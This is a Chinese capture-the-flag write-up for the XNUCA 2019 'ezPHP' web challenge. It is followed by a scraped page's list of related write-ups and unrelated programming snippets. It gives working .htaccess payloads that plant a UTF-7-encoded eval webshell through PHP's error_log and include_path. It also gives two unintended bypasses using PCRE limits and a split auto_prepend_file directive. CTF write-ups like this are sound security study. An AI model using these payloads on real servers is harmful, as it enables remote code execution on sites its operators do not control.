ezPHP

源码很简单(感觉越简单的源码越不好搞),一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_file等php_value。

我们的解法

经测试,最后一行导致的.htaccess报错的问题可以通过# 来解决。

该文件中有一处include('fl3g,php'),该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess 的选项可以利用?

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALLPHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path.

因此只要控制include_path便可以使这里include进来的fl3g.php可以是任意目录下的某个文件,那么怎样才能控制fl3g.php的内容?查找所有php log相关的功能可以看到error_log这一选项

所以我们的思路便很清晰了:利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。

然而很不幸的是error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload。那么怎么才能绕过这里的转义?

查找最近的比赛我们可以发现一篇writeupInsomnihack 2019 I33t-hoster)

这便给了我们启示可以通过设置编码来绕过限制从而getshell.

因此最后的攻击方法如下:

  • Step1 写入.htaccess error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#
  • Step2 访问index.php留下error_log
  • Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#
  • Step4 再访问一次index.php?2=evilcode即可getshell.

其他非预期解

赛后得知我们的解法是全场唯一的正解,此外还存在两个非预期

非预期1

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

非预期2

只能说这个非预期为啥我没有想到

php_value auto_prepend_fi
le ".htaccess"
# <?php phpinfo();?>

转载: https://www.anquanke.com/post/id/185377

XNUCA 2019ezPHP的更多相关文章

  1. X-NUCA 2017 web专题赛训练题 阳光总在风雨后和default wp

     0X0.前言 X-NUCA 2017来了,想起2016 web专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让CTFer们好感受一下题目. 题目有一大 ...

  2. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  3. X-NUCA联赛WEB赛前指导write-up

    第一关 审查代码发现有隐藏的连接,访问,flag一闪而过.打开burpsuite,设置好代理,然后重新访问,在历史里找相应的回复包,得到flag. 第二关 审查元素 修改按钮为可用 抓获一个POST包 ...

  4. [xnuca](web)xblog

    session会话机制介绍如下 http是无状态协议.服务器靠cookie和session来记住用户.$_SESSION 和 $_GET等一样,是超全局变量. 后台脚本里面会写: session() ...

  5. 全国高校网安联赛Web专场~WriteUp

    1.Sign 题目:Good Luck!flag{X-nuca@GoodLuck!} Flag直接写在题目上了,flag{X-nuca@GoodLuck!} 2.BaseCoding 提示:这是编码不 ...

  6. 2017湖湘杯复赛writeup

    2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA  和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...

  7. RabbitMQ与Spring的框架整合之Spring Boot实战

    1.RabbitMQ与Spring的框架整合之Spring Boot实战. 首先创建maven项目的RabbitMQ的消息生产者rabbitmq-springboot-provider项目,配置pom ...

  8. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  9. BUU刷题01

    [安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...

随机推荐

  1. leetcode 287寻找重复数

    这道题用STL容器就很好写了,可以用set也可以用map, 用unordered_map的C++代码如下: class Solution { public: int findDuplicate(vec ...

  2. C—LINQ小结

    LINQ代表语言集成查询(Language-Integrated Query),它包括用于从数据源检索信息的一组功能.数据检索是许多程序的重要组成功能. 简介:System.Linq; var num ...

  3. python+selenium下弹窗alter对象处理01

    alt.accept() :                            等同于单击“确认”或者“OK” alt.dismiss() :                            ...

  4. Scrapy输出文件格式问题汇总

    Q:Scrapy抓取的内容(包含中文)输出到JSON Lines文件时如何确保输出的是字符本身而不是其unicode编码? A:默认的JsonLinesItemExporter其ensure_asci ...

  5. php php-fpm、nginx和js

    1 php-fpm是什么 php-fpm是php fastCGI process manager的缩写.它是php的进程管理器,对每个请求的处理都是一个进程. php-fpm管理了一个进程池,假如进程 ...

  6. 洛谷 P2347 砝码称重 & [NOIP1996提高组](dp,枚举)

    传送门 解题思路 一看数据范围<1000就坚定了我暴力的决心(不愧是1996年代的题还是t4QAQ) 所以很显然,暴力之中有一点dp的思想,就是把它们像多重背包一样拆分,拆成a1+a2+a3+a ...

  7. BZOJ 1906. 树上的蚂蚁

    传送门 发现蚂蚁不多,所以考虑两两枚举然后判断 那么首先要求出两条链的公共部分,然后根据之间在公共链的时间段和是同向还是反向进行判断 思路简单但是细节很多...... 首先求链的公共部分,设两种蚂蚁为 ...

  8. ☆☆☆☆☆Placeholder兼容各大浏览器的例子☆☆☆☆☆

    <!doctype html> <html> <head> <meta charset="utf-8"> <title> ...

  9. seajs与requirejs

    1 seajs暴露的两个对象 二 define()定义 引用模块 三插件 css插件和requirejs插件 4 seajs使用和建议

  10. vue filters过滤

    <template> <div class="filters"> <h1 v-text="filtersTitle">< ...